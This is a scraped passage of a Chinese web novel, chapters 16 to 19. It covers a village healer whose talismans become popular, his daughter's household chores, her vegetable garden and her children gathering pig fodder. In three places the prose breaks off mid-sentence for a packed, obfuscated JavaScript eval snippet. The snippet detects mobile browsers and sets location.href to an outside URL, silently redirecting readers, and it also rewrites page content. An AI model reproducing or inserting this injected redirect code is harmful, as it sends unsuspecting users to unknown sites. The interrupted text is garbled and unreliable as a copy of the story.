半宿精疲力尽，汤药缓解了病痛，此刻睡得尤其深沉。尽管脸上仍是苍白，嘴唇上干枯起了皮，小鼻子却发出轻微的鼾声，额头也不再发热。 直到此刻五奶奶才长出一口气，总算熬过来了，她打从心底地笑了。 “先生不必过谦，先生是有大才之人，妾身敬佩不已。恕妾身才疏学浅，见识浅薄，不知先生可否告知犬子是何病症？”五奶奶有些焦急地追问。 李老爷子不疾不徐说道：“夫人不必忧虑，小少爷贵人踏贱地，惹得四方生灵鬼怪垂涎，吸食其精魄，致使其元神受损，神魂不宁。兼之长途漫漫身心疲累，水土不服也是有的。在下以符咒佐寻常草药去病化煞，肃清邪祟，幸得祖师爷庇佑，小少爷得以化险为夷，神形归位。想必等归了家，贵府功德无量，救人无数，自有大德之人护佑。” 神神叨叨一通话下来，听得沈大老爷眉头大皱，五奶奶浅淡一笑，不置可否。她原本还想询问那柱香的特异之处，此时也不再多说什么。 “那依先生所见，犬子是否还需服用汤药？” “待小少爷苏醒，可服两剂强元固本，宁心安神的汤剂。”李老爷子转过身，笑对沈大老爷，“这却是大老爷的强项了，还请给在下留些个薄面，免得在关帝爷面前舞刀弄枪，丢人现眼。” 一番话说的几人轻笑不已，想不到这位李先生是个如此有趣之人，果然闻名不如见面，古人诚不欺我也。 五奶奶笑地花枝乱颤，好容易止了笑容，正色说道：“先生大德妾身没齿难忘，待此番归家禀明了家公，沈家必厚礼相赠。” 李老爷子敛了笑，双手交握，“夫人严重了，在下愧不敢当。” 沈大老爷亦笑着相劝：“李先生无需如此客气，我也要感谢先生的出手之情。别的不说，今天早上必要请先生喝一杯清茶。” 两人站起身辞别五奶奶，寒暄着离去。 等李老爷子坐着马车回到家，沈府答谢的礼盒堆了一马车。 谁也没料到此事还有另一个意想不到的妙处。 沈府的下人们在李老爷子走后交头接耳说地好不热闹。 “你们注意到了没，李先生放进药罐里的符整个化了，全融进药里了。你们说哪有黄表煮了就没了的，往常就算是用符表煎药材，倒掉汤汁，剩下的渣里面也还是有黄表在啊。昨晚的药是我亲手倒的，第二碗药倒完，药罐里面空荡荡的，什么都没有，我看得真真儿的，李先生可真是神了。”煎药的仆人信誓旦旦。 “怪道他不肯用老爷准备的物件，那些朱砂、黄表、笔墨都是他自个带来的。” “可不是，我还看到李先生施法的时候，神龛上的烛火是绿色的，你们说说，这不是鬼怪作祟是什么，你们什么时候见过绿色的烛火啊。” 另一个仆人不甘示弱：“我还看见李先生剑指香炉的时候，有一道黑影飘进去了，指不定是被三清天尊给收了。” 众人越说越火热，越说越离谱，连李老爷子被天神附身降妖除魔都出来了。 正当此时，一阵清凉的风吹过，大伙只感觉清爽扑面。这秋老虎发威，连树上的叶子懒得动一下，哪来的风？ 众人顿感后脖颈有微风拂过，身上的寒毛直竖，吓得禁声不敢说话，人人满脸惊恐。你看着我，我望着你，“轰”的一声做鸟兽散，不敢再妄言神仙的不是。 17. 第 17 章 李老爷子回到家，却不知以沈府为圆心，流言如潮水般向四周漫去，悄无声息地涌进每一个人的心头。 一时之间白水湾李家门庭若市，有求姻缘和合符的，镇宅辟邪符的，求子送子符的，大娘婶子挤满了李家的堂屋，比县里城隍庙还热闹。 就连一向不屑于此道的沈大太太也偷摸着命贴身嬷嬷求了几张平安符，放了一张在香囊里系在沈大老爷腰带上。沈大老爷若无其事整理袖袍，只当没看到，从此却多了个腰带上必配香囊的喜好。 杨氏对着满匣子的铜板乐开了花，想不到画符是个这么来钱的营生，“这可真是意外之喜！” 李老爷子淡然地笑，既不意外也不惊讶，却没想到事情的走向朝着另一条奇特的方向奔去。 每日子时杨氏准点推醒当家的起来画符，不是说这个时辰阴阳交替，阳消阴长，灵气最重么，不画满半个时辰不准睡觉。 天知道两口子的日常作息最是规律，顺应天时，日出而作日落而息。 不成想自家媳妇跟着了魔似得每晚凌晨必叫醒他，她到底是怎么醒的？ 谁把她叫醒的？ 往常不都是一觉睡到大天亮么？有时他起夜看她睡得毫无知觉还羡慕了一把。 李老爷子奔溃地想消极怠工，他赚钱是为了更好的生活，不是为了熬夜啊！ 可看着媳妇在夜里不点灯都亮闪闪的眼睛，摆明了要钱不要命的架势。望着他的目光好像面前的是一堆金元宝，他是没有金元宝讨喜了，只能勉强赚些个黄铜板。 李老爷子垂头丧气地起身，哈欠连连地画符纸，也不知道三清那三位老人家知道她媳妇的虔诚之心是如何来的会不会被气到吐血。 幸而日渐寒冷的天气冰冻了人们火热的求符之心，也拯救了李老爷子日益加深的黑眼圈。冬天来得好啊，李老爷子决定，往后他最喜欢冬天了。 五奶奶走后第十日，李老爷子收到了一封来自府城沈家的信，上面写着“此次吾孙突遭横祸，承蒙先生搭救，吾铭感于心。沈家医馆近日招收一批族内孩童入学，听闻先生家儿孙聪颖，可择一孙送来即可……” 李老爷子放下书信，闭上眼睛人往后仰靠在椅背上，内心翻涌久久不能平息。终于，他又赌赢了一把，人能不能胜天他不知道，他只知道他要胜天半子。 …… 堂屋传来嘈杂声，间或几声孩童的啼哭。 杏娘站起身：“该是两个小的醒了，你去把锅里温着的水煮蛋拿来，我先去看看。”说着往堂屋走去。 声音是从东间传出来的，杏娘进去的时候，大女儿已收拾妥当，杨氏在给小儿子穿衣裳，屋里还站了一个年轻的女人。 “什么时候过来的？”杏娘问。 李娥脆声道：“昨天人多的我眼花，小姑也没空搭理我，本想着今天早点过来看奶奶，又被我娘扯着去菜园摘菜，一忙就到了现在。” 杏娘好笑：“什么叫我没空搭理你？你可别赖我，我昨天可是看见你跟几个小姐妹聊的火热，眼角都不偏一下。” “嘻嘻，难得回娘家一趟，少听了多少八卦，我可不得趁机找补回来。”李娥快人快语，丝毫不掩饰自己与众不同的喜好。 杨氏宠溺摇头，这个孙女也不知道跟了谁，老二两口子都是一棍子打不出个屁来的憨货，却生出这样一个脾性爽直的大女儿。 看到慢了一步跟进来的李苏木，李娥不满地噘嘴：“好嘛，我说大早上的小姑去哪了，敢情你俩又背着我嘀咕去了，就他是你亲侄子。” 李苏木懒得理她，放了两个鸡蛋在青叶手上，要她自个剥壳吃。两手各拿一个鸡蛋挡住眼做鬼脸逗青果，惹得小家伙破涕为笑。 “又吃的哪门子飞醋，晌午在这吃饭，奶奶做几个你爱吃的菜。”杨氏安抚她。 “还是奶奶最疼我。”李娥抱了杨氏的胳膊，斜了她堂哥一眼，“不像有的人年纪一大把了儿子才刚出生，还得喊我儿子哥哥。” 李苏木双手作揖求饶：“行了，我的姑奶奶，小的有眼不识泰山，这就给姑奶奶请安！” 众人哄笑，李娥追着他要打，两人在房内追逐、嬉闹。 吃完晌午饭，李老爷子送杏娘母子上船，顺手塞了个荷包给她。 杏娘甩手不接：“我不要，娘已经给了。” “她给是她的，我给是我的，咱们两公母分家单过了。”李老爷子不理她，径直过去跟船家打招呼。 杏娘麻了，她爹胡言乱语的水平又更进了一步。 …… 回到泮水村丛家，杏娘打开大红的陪嫁箱子，经过岁月的洗礼，当初的大红色沉淀为一种朱红，显示出一种厚重感。 把分家得的十五两和爹娘给的二两银子都放进箱底，合上盖子，杏娘抚摸着盖沿自言自语：“李杏娘，你记住了，往后这些银子就是穷死都不能用。” 一旁的青叶正在收拾外祖母给的零碎，每次去外祖母家都能得到一堆东西，对大人来说不值钱的玩意，却是小女童的心头宝。一方半旧的帕子，几根鲜艳的头绳，几朵精美的绢花，她一样样收拾好，放进自个的小木箱。 大门外蹦跳进来一个女童：“青叶，我们踢毽子吧，你看我用兰花豆的叶子做的毽子。” 她得意洋洋掏出一个球形的满是叶片的东西，这是乡下孩子特有的“毽子”。 这个时节的兰花豆正开花，蝶形的白色花骨朵带红紫色斑纹点缀在绿色叶片中尤其艳丽。摘两片连在一起的“八”字形叶子，摘的多了叠整齐摞在一起，用绳子从“八”字中穿过使劲一系，就成了个球形的“毽子”。 这种“毽子”简便易得，是女孩们的拿手玩物，缺点是很容易坏，踢没一会叶子就掉地七零八落。 被她提了醒，青叶赶忙从包袱里翻出一个崭新的鸡毛毽子。 “你看，我有一个新毽子，我大舅妈送的。”青叶跟小伙伴显摆。 何竹羡慕地望着毽子底下，这可是铜钱做的，她娘可舍不得给她祸害。 鸡毛毽子是选取了公鸡尾巴上颜色金黄长度正好的毛，既不能太长掉地上沾着地面，也不能太短直立立竖着，踢起来跟踢石头似的不灵活。好毽子的鸡毛要像花一样自然的垂落，形成完美的弧形，踢的时候要跟着人使劲的方向走，不能跑偏了。 毽子做起来不算难，取婴儿巴掌大的布片中间剪一个小洞对准铜钱的孔，布的边从孔中穿过拉紧包裹着铜板，在有布的一侧插入鸡毛用线缠紧，另一侧多出来的鸡毛剪平整。 青叶建议：“先玩你的，再踢我的。” 何竹点头应好，两人手牵手走出大门。 “你可算回来了，我快无聊死了。”人未到，声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457576|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先至，还在房里拾掇娘家带回来的物件，杏娘就听到一道耳熟的女声。 话音落地，人走了进来。 杏娘抬起头打招呼：“我就去了两天，被你说得好像去了两年。” “一日不见如隔三秋嘛，咱俩什么交情，那是比你跟丛七哥的感情还要深呢。”杨英娘笑嘻嘻调侃。 杏娘哭笑不得，拿起桌上的一瓶药膏递给她：“我爹说这个治刀伤最好，每天涂三次。” 英娘接过瓶子，“我就说你最关心我了，我家那口子说我怪人得怪伤，就帮我洗了一个早上的菜，后面就撂挑子了。” 前天英娘切肉时伤了手，伤的颇是令人费解，别人切菜是切到拿菜的那只手，她正好相反，切到拿菜刀的那只。 英娘自嘲不知道怎么就划破了拿着刀的手指，按说切菜时是握着的吧，又不是伸长手指切，说出去都没人相信。 两人闲聊了半晌，眼看太阳西斜，英娘回家准备晚饭。临出门看见还在踢跳毽子的两个女孩，嫌弃地鼓劲：“两个小不点好好跳啊，等再大些跳的熟练了，咱们比试一场，现在还不够我一脚指头的。” 何竹不满地噘嘴，青叶笑呵呵回应：“英姨，您就等着好了，过两年您就不是我们的对手了。” 英娘放出狠话：“到时定要打得你们落花流水，输了可不要哭鼻子。” “咱们才不会输。” 眼下还不到瓜果菜蔬播种的时候，菜园里无非是吃了一冬的萝卜、白菜几样。杏娘砍了一颗莴笋，削皮切成丝，取下挂在灶房檐下的腊肉，剁下一小截切成薄片。 腊肉还是年前做的，每年冬天气温开始下降时，去镇上买了整条的五花肉抹了盐，挂在檐下风吹上个把月，肉变得紧致结实，到过年正好能吃。切的薄薄的，晶莹剔透，配在菜里正好，能从冬天吃到天气暖和。 白菜有吃腻的时候，对玉陵县的人来说，红菜苔永远不够吃。即便开了春，还有些播种晚的可采摘。剥皮折断揪了顶端的花蕾，留取少量嫩叶，用菜籽油爆炒后鲜甜脆嫩，满口生津。 再炒一个白菜和三个鸡蛋，加上一碗酱菜，晚饭也就做成了，正好田里的男人们也回了家。 饭桌上丛三老爷嘱咐小儿子：“秧苗有手掌长了，这段时间雨水多，秧田不能少了水但也不能太多水，多了苗该发黄了。” 丛孝夹了一片腊肉就着一大口米饭咽下，“唔，我知道，早晚都过去看看。别的田我铲了两锹看了，底下还是冻着的，还得下几场雨泡了才好。” “这个不着急，到拔秧还有些日子，只要记着把放水口堵严实了。” 爷们说话杏娘安静地听着并不多嘴，家里农事安排这样的大事都是男人做主，春季菜园才是女人的主战场。这一年能不能吃上菜，吃什么菜，就看撒下什么种子了。 杏娘是个好吃的，只要是她当厨饭桌上的菜就不能少于三个，有的一大家人围满了桌子在两盘菜上夹来夹去，她看了就嫌寒碜。至于么，只要勤快点撒两把种子，菜园的菜多到吃不完，就费点油的事。 她在心里琢磨着家里有哪些菜种子，还差了哪些，是去镇上买还是跟人换，今年要不要多种点什么。心里头想着也没耽误一口鸡蛋一口米饭的喂小儿子，间或给大女儿和大儿子夹两筷子鸡蛋。 饭后洗了澡闲话两句便各自回房歇息。 18. 第 18 章 辣椒、茄子等常见菜蔬是必不可少的，特别是辣椒，玉陵县的人宁可一日无肉，不可一日没有辣，连日常吃的酱也是红辣椒剁碎而成。 垄上人家的菜园多分布零散，池塘后面一块两分地，门口河边连着坡上一小条，垄东这边河对岸还有一条八尺左右的菜地。 要种菜得先锄地，冬天的白菜、萝卜都拔了，留出一部分这段时间每日所需，剩余的晒了做干菜。 丛孝每天扛了锄头去菜园，杏娘坐在灶房收拾一大堆莴笋。摘叶子削皮对半切开后再片成两瓣，撒一把盐腌制一个时辰，摊在簸箕上拿到太阳底下暴晒，十天后就能收一小布袋莴笋干。 要吃时用热水泡开跟排骨或五花肉一起炖，莴笋干吸饱肉汁又带着自身特有的清香。 杏娘最喜欢的吃法是直接舀一勺酱腌制一晚上，在闷热难耐的三伏天口味不佳，一碗酱莴笋干点两滴芝麻香油，又辣又脆，吃起来嘎嘣爽口，食欲大增。 萝卜也是如法炮制做成萝卜干，吃法大差不离。 菜园翻地拔草收拾妥当撒下各类种子，杏娘留下一块地点豆子。这一茬的豆子主要就是为了吃毛豆，跟旁人家不同，恨不得一根草都要留到秋天卖了换钱，好像少一点就不能发财了。 杏娘秉着能吃就是福的人生理念，田地里的东西能吃的先给吃上，吃不了的再去卖。 自家种的东西还舍不得吃，非得抠抠搜搜省两口，在她看来纯粹是脑子有病，有福不会享。也是因为这没少被垄上的婆子大娘们嫌弃是个漏勺，吃啥啥不够，攒不来钱财。 杏娘拉了大女儿去房子后面的菜园点豆子，虽然老爹说不能让丫头干农活，但也不能真的四体不勤五谷不分的，年纪小可以干轻省活计。 屋子后面不像前面吵闹，风刮得树枝“呼呼”响，麻雀在树干上“啾啾”叫。 谁家灶房传来当娘气急败坏的呵斥“叫你不要玩水，不要玩水，偏要玩，这下好了吧，衣裳都湿了”，随之而来的巴掌打在屁股上的“啪啪”声，顽皮小儿的嚎啕大哭声。 杏娘在前面刨坑，青叶在坑里撒豆，严格按照她娘说的每个坑放三粒，绝不多放也不少放，手松多掉下去一粒还得捡起来重新数数。她的动作缓慢，杏娘几行坑都刨完了她还跟蜗牛似得慢吞吞移动。 杏娘也不催促，小孩子做事认真细致，恨不得每个坑里豆子的摆放位置都一模一样。她丢下锄头用脚拨湿润的泥土到坑里轻轻踩一脚，浅浅盖上一层，几天就出了苗。 点完黄豆杏娘打发走女儿，“跟何竹玩去吧，不要去水边知道吗？” “知道。”青叶大声回应，跑远了还摆了摆手以示知晓。 这个时节孩童能吃的零嘴是一种紫红色或绿色外皮的刺苔，枝条缀满钓鱼钩一样的刺，在路旁、小沟边的灌木丛野蛮生长。 折断中间偏上的那一截，这一段刺少且新长出来的刺比较柔软，扎在手上也不疼，又是最鲜嫩的。撕掉带刺的表皮露出嫩绿、水灵灵的刺苔肉，吃起来有一点酸涩，之后就是满嘴清甜了。 青叶摘了一大把分给两个弟弟，一人拿一根放嘴里，一截一截往里送，嫩茎汁水丰沛，嚼一嚼连渣都能一起吞了，边吃边往家里走。 这样的东西大人是不耐烦吃的，剥皮拔刺的捣鼓半天还不够塞牙缝，也只有孩童不嫌弃。面对吃食他们有着无尽的耐心，毕竟在这零嘴匮乏的乡下，能吃到饭菜之外的东西全凭本事。 吃刺苔并不是它味道有多甜美，更多的是一种乐趣，独属于孩童的滋味。 青叶回到家把剥了皮的刺苔往她娘嘴里塞，“娘，给你吃。” 杏娘张开嘴巴咬下一小口，笑着夸奖：“真甜，我女儿真乖！” 两个小的见了急吼吼挤过去嚷着要喂她，杏娘每根咬一口，夸张地摇头，“好了好了，娘吃饱了，你们吃。” 此时日头正当空，杏娘在准备晌午饭，早上刚从周老爷子家买的小鲫鱼一直养在水盆，过了一个上午还是活蹦乱跳的。 手掌长的小鲫鱼肚子鼓胀满是鱼籽，肉质鲜嫩但是刺多，平常的吃法自是稍嫌麻烦。若是喷上一大勺辣酱，搭配几个本地拳头大小外皮鲜红果肉雪白的小萝卜，那就成了另一种味道。 两面煎的金黄的小鲫鱼咬一口，辛辣中夹杂着鱼肉的鲜美，由于太辣只能小口咬，这点刺也就无关大碍了。味道寡淡的小萝卜怎么做都不讨喜，此时浸染了辣椒和鱼的香味，也变得非同一般起来。 青叶和青皮一口萝卜一口米饭吃得喷香，两张油乎乎的小嘴辣的通红，额头上冒了汗，越辣越过瘾，白米饭都能多吃半碗。此地的孩童从小就能吃辣，青果则太小了点，还是吃他的炒鸡蛋。 青叶看着她爹夹一条小鲫鱼放嘴里，闭上嘴巴蠕动几下，吐出来就是一副完整的鱼骨架，深感佩服，哪天她吃鱼这么厉害就好了。 前几天禁不住馋她夹了一条，还不等吃完就被刺卡了喉咙，咽口水都疼，这下饭也吃不下去了。抽泣着倒握了烧火棍，大张嘴巴站在灶洞口请灶王爷解救，直到她娘收拾完碗筷才允许她闭上嘴巴。 喉咙倒是不怎么疼了嘴巴却张得酸，仍不敢吃东西，直饿到第二天早晨才吃上早饭。记忆是如此的深刻以致于她此刻只敢夹萝卜，筷子不挨小鲫鱼的边。 “娘，您知道谁家有香瓜种子吗？今年我想种点香瓜。”杏娘咽下一根萝卜问她婆婆。 分家还是有好处的，往常地里种什么都是老人说了算。年复一年都是那几种，她也不好为了点吃的折腾新花样。分了家就不一样了，当家做主的成了自个，想吃什么就种什么，也不用怕别人说嘴。 陈氏一脸为难样：“天要下红雨哦，我上哪给你找香瓜种子去，这么稀罕的玩意可不多见。” 杏娘皱眉，只是随口一问而已，犯不着做出这般模样吧？好像她故意刁难似的。 丛孝插话：“你先到处问问，实在找不到我去镇上一趟。” 杏娘应一声好。 饭后丛三老爷去杂物房搬出一堆农具挨个检查，哪个生锈了需要打磨，哪个松散了需要加固，这都不能马虎。眼看着就要春耕了，到时出了岔子白耽误，农事可不等人。 “这个枷柦是不是松了？”丛三老爷举起来细细打量，双手握紧左右晃动，枷柦发出木头相撞的“咯吱”声，他压低身子凑得更近，皱眉看向中间连接处。 丛孝接过枷柦上下摩挲，“唔，接口处松动了，问题不大，我加固一下就成。” “要不还是重新做一副吧，这可是给老伙计耕田用的，它要是戴着不舒服多受罪。”丛三老爷担忧地建议。 “爹！”丛孝忍俊不禁，“真给娘说着了，您待家里的水牛比亲儿子还亲。就算我想做副新的，一时半会的也找不到这种形状的木头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457577|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。您要有心平常多留意，碰到这种树杈子捡回来，我得闲了就给您做。” 他又仔细端详片刻，自信地补充：“再说了，您就算不相信我的手艺，也总该给我个机会试试，等我修补好了，您再来评判。” 说得老爹也“嘿嘿”笑了，“水牛可比人好使多了，我们都靠它吃饭哩，可不敢怠慢了它。” 丛孝去杂物房找出锯子、刨子、墨斗等一套家伙什，又翻捡出一截短木头，撸起袖子干劲满满地摆好条凳。 做自己喜欢且擅长的活计时，丛孝仿佛回到了那个青葱少年。刨子在木头上剐蹭的“沙沙”声，卷起的木屑比精美刺绣上的云纹还漂亮、舒坦，碎粒掉落地面轻微的响动，两手前倾，身子规律地一前一后起伏。 他神情端庄严肃，双眼湛湛有神，不时停下动作拿起来比划大小。即便只是一块小小的木头，他也化身成一名合格的大夫，一丝不苟地对待面前的病人，毫不怠慢，全力以赴。 回到房间的杏娘拿起一条短小的裤子抖动，屁股对应的位置上赫然两个圆溜溜的大洞，边缘处稀疏起毛有扩散的趋势。 她打开箱子挑拣一番找出一件旧衣，拿过柜子顶上的针线笸箩。捻着线头在唇上轻抿一口，就着微湿的线头穿进针眼。 这个小儿子真是起错了名字，他才应该叫青皮，简直是皮的没边了。 人都说三岁看老，他就正好三岁，已经能看出长大后闯祸头子的影子。比他大了两岁的哥哥都没他这么能折腾，不是她小气舍不得给孩子置新衣裳，实在是无论怎样的布料到他这里只有一个颜色——黑灰色。 所有的衣裳不是袖子磨烂了，就是屁股上破了洞，她就搞不懂了，小儿子的两屁股蛋上是不是长了荆棘刺，怎么这么轻易就破了。 起初她还隔三差五的给他换新裤子，后面合计了一阵，照这个损坏的速度来换，就算家里是开布庄的也要亏的倾家荡产。 索性他自个毫不在乎形象，即便穿得跟个小叫花似得也照样神气十足地爬上蹦下，一点也不怯场，她也就听之任之了。每次裤子破了就剪一块旧衣补上，补个两三次再换新的，以此来节省布料钱。 杏娘一边在心里埋汰小儿子，一边思索家里的生计大事——养鸡。 丛家以前是怎么过活的她不清楚，反正自她嫁进来家里就没养过鸡。陈氏是万事不沾手，能不干的活尽量不干。林氏是嫌鸡屎满地鸡毛满天飞不体面，有损她读书人娘子的身份。 大人无所谓吃什么都成，杏娘自小跟着李老爷子识得几个字念过几本书，粗略通晓养生医理，晓得孩童断了奶吃食就得跟上。不说每天大鱼大肉，乡下人家过日子没这么过的，至少鸡蛋不能少。 小儿胃小，不同于大人的咸辣，吃的清淡寡味。有碗炒鸡蛋摆着，喂饭都能快上一刻钟。 以前家里吃的鸡蛋都是杏娘掏钱找邻里买的，不光孩子吃地香甜就是大人也跟着沾光能夹上两筷子。既不用他们出力又不用出钱，自是人人没有二话。 现在杏娘却不愿意继续吃这种哑巴亏，都是庄户人家，凭什么旁人家能养鸡自家却要买蛋，没这个道理，谁又比谁金贵了。 可她打小就没干过这种活计，老李家也是没养过牲畜的。杨氏手头银子足，李老爷子的生计所需，老两口的吃穿用度颇有些讲究。 这事需得好好合计才行，杏娘打定了主意。 19. 第 19 章 按说母鸡孵蛋这事陈氏应是清楚的，没吃过猪肉还没见过猪跑么？ 但杏娘打心底排斥向陈氏请教，这在她看来就是向婆婆低头。特别是经过晌午吃饭那档子事后，她直觉婆婆的那话不对劲，又说不出个所以然来，只好本能的逃避。 要是问谁是这条垄上或者整个泮水村里最能吃苦勤劳能干的人，非何石、周云娘两口子莫属。两人生了三女一子，几十亩田种着，家里养了一头水牛，鸡、鹅、猪一样不少。 两家就隔了丛五爷一户，杏娘跟周云娘打交道的次数却是不多。 实在是那两人天不亮就去了田里劳作，不到天黑不着家。农忙时是这样，农闲时还是这样，农家活是多但也没多到这种程度，她都不知道他们在田里到底在忙什么。 也就是这几年两个大女儿能搭把手了，两口子能喘口气。 刚开春云娘肯定要孵小鸡的，怎么跟她搭上话才显自然，贸贸然跑去问人家多生硬。这里杏娘还在思索怎么跟何家来往，那边青叶已经跟何家女儿们“杠上了”。 天气日渐暖和，花香袭人，田间地头野草疯长，绿意在大地肆意铺展。 何竹邀青叶去田里打猪草，她家每年都养几头猪，猪草被几个女儿包揽了，何石两人从没为此费过心。 “打猪草可好玩了。”何竹傲娇的显摆，“之前都是我大姐、二姐做的，今年我娘让我也跟着，这可是大人才能做的事。” 青叶本不想去，她家又没养猪，好玩的东西那么多，打的什么猪草。一句“大人做的事”牵动了她的心肠，奶奶时常说他们人小肚大，除了吃什么都不会。 她也是要脸面的人了，被人如此嫌弃自是想做出一番大事。 于是拿上小铲子提了竹篮，领着两个小的跟着何家四姐弟往河对岸的农田走去。 此时还不到耕田时节，连成片的稻田里长满了一种本地人称作黄花菜的野菜，人不爱吃却是猪的最爱。 枯黄的稻茬经了一冬地风吹雨打愈发地杂乱无章，顽强的野草见缝插针冲破土壤地禁锢，一蓬蓬的黄花菜挤挤挨挨点缀其间。莲座状的分枝向四周平展，深绿色的叶片顶端夹杂着米粒大小的黄色小花，格外惹眼。 用小铲子撅断底部的根茎，甩一把泥土就可扔进篮子。铲完周围一圈稍挪一下屁股就又是一大簇，根本无需特意寻找。 起初青叶还是干的蛮带劲，一挖就是一大朵，人小蹲着也不累，极有成就感。等到装满半个篮子人就有点焉了，虽然大人常说小孩子是没有腰的，但她确实感受到后背下半截到大腿根的酸痛。 三个男孩早不耐烦规矩地挖菜，不是扯一株甩的满天飞，就是拽了杂草你追我赶，玩得不亦乐乎。 青叶抬起头眼含艳羡地看着他们打闹，不时站起来伸伸胳膊扭扭腰，她也不想干了。可一转头发现何家三姐妹飞快地挥舞铲子，头都不抬一下地挖野菜，实在是丢不起那个人来偷懒。 略晃了会神，她蹲下身子继续撅菜根。 何梅把左手拽的一把黄花菜放进提篮，张开手掌往下按压，将将冒尖的菜垛空出一点地方。她抬起眼睛粗喘口气，擦拭一把额头沁出的汗水，在这稍显凉意的寒风里竟然热出了一层汗意。 看了一眼旁边焉了吧唧的青叶和自家无精打采的小妹，两个毕竟从小娇惯长大，想必还没做过什么像样的活计。 等喘匀了气，她高声吩咐三个小男孩：“你们既然不想挖野菜就去那边折几根柳条过来，要又细又长叶子多的，不许跑到河边玩水。” 几个小家伙一听像是得到了指令的狗崽，撒开脚丫子嗷嗷叫地朝不远处的柳树冲去。 青叶亦抿起嘴角，想到接下来的玩意，动作顿时变得轻盈，一铲一朵，流畅自然。 细条条的柳枝柔软顺滑，即便是孩童的力量也可轻易折断弯曲。取三、四根交叉缠绕盘成一个环，插几朵黄灿灿的晚开油菜花，或者是别的不知名野花。嫩绿的叶子中间五颜六色的花朵随风轻颤，几个女孩精心装扮各自的花环，美滋滋戴在头顶。 就算没有镜子看不见自个模样，女孩们也觉得美极了，传说中的仙女们肯定也是这样戴着花环的。 便是只有十岁，常以大人自居的何梅也忍不住跟小姐妹们闹成一堆，嬉笑追打，清脆的笑声润染了春风。一路点过青翠的草尖，略过宽敞的河面，吹进千家万户的窗棱里。 待到太阳西斜挂在半空，青叶提着一篮子黄花菜领着两个小的回到家。陈氏见了好一顿夸：“家里总算出了个能做事的，不错不错，往后还是要多勤快点。” 说得青叶挺直了胸脯，毛躁躁的脑袋也往上抬了抬。 话虽如此，何家的野菜直接倒进猪槽，青叶家有猪圈却没猪，只得扔在墙角。 晚间就着昏黄的煤油灯，杏娘谆谆教诲女儿：“你傻啊，咱家又没养猪，你何必跟着打猪草，白受累不说，打的猪草也用不上。今天就当玩儿了，明天不要去了，累坏了身子得不偿失。” 青叶迟疑地点头。 第二天吃了早饭，青叶在家佯装忙碌，一忽儿给她娘端小杌子扫菜叶，一忽儿给她奶穿针眼叠衣裳。整个人显得忐忑不安带点心虚，既希望何家姐妹直接路过她家门口不要进来喊她，又怕被人比较说闲话。 等来等去等来了一个意料之外的人。 “小玉，过早了没？你奶奶这一向可好，脚还疼吗？”杏娘招呼进来的清秀女孩，几个月前丽姑妈崴了脚，当时她还去看望过。 张玉腼腆一笑，声音虽小吐字却清晰：“吃过了，劳舅奶奶惦记，奶奶用了舅奶奶送的药好多了，这几日已是能下地走几步。” “伤筋动骨一百天，要你奶奶不要大意。”杏娘叮嘱女孩，“等忙过了这阵子我去看看她老人家，要她不要心急，急也急不来，还得慢慢将养才是。” “我一向也是这么劝奶奶的。”张玉的语气满是无奈，“只是您也知道，我奶奶最是个闲不住的，这段时间困在家里脾气都急躁了许多。现在又正是种菜的日子，她老人家恨不得杵着拐杖去点种。” 一番话说得几人忍俊不禁，丽姑妈是个极温和的人，轻易不跟人红脸，人缘在这条垄上相当不错。这样的人都有了脾气，可见养伤的日子着实太过无聊。 张玉继续轻声说道：“幸而奶奶的伤正在好转，不需要人帮忙能料理自个。我是听说青叶昨天去田里打猪草了，想着今天跟她一起去，我奶奶也能放心。” 青叶尴尬的弯起唇角，打了个哈哈，嘴巴张开又阖上，不知道怎么说。 “她呀……”杏娘刚想给女儿圆场，一道突兀的声音闯了进来。 “青叶，你好了吗，我们要出发了！” 杏娘不说话了，看女儿如何抉择。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457578|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青叶不敢看她娘的眼睛，僵硬地回道：“这就走了，嗯，大家一起去……都是去打猪草，呵呵，一起去。” 杏娘就看她躲闪着做贼似得溜出去，又好气又好笑。 何家三姐妹的打猪草速度青叶自是比不过，开始还想以一敌三来着，后来发现自家实在不是那块料，太过高看自己低估了别人，立马歇菜偃旗息鼓，只暗搓搓的跟何竹较劲。 偶尔偷会懒，一旦发现她篮子里的猪草比自个多了，赶紧加快速度连扯带薅，力争保持两人的差距不要太大。 这会多了个同龄的张玉，更是个家务农活一手抓的能干女孩，把她们两个远远甩开了不说，还能跟大了两岁的何兰持平，两人不相上下。 激得何竹也起了好胜之心，占着平时有两个姐姐相帮，懒散的性格突然就开始麻利起来。 这可苦了青叶，单蹦的比不过，合起来的更是不用说，之前还能掐朵花捉只蛾，现下连擦汗的功夫都没了。苦不堪言之下，把自个折腾的气喘吁吁，满脸通红，不知道的还以为她在干苦力。 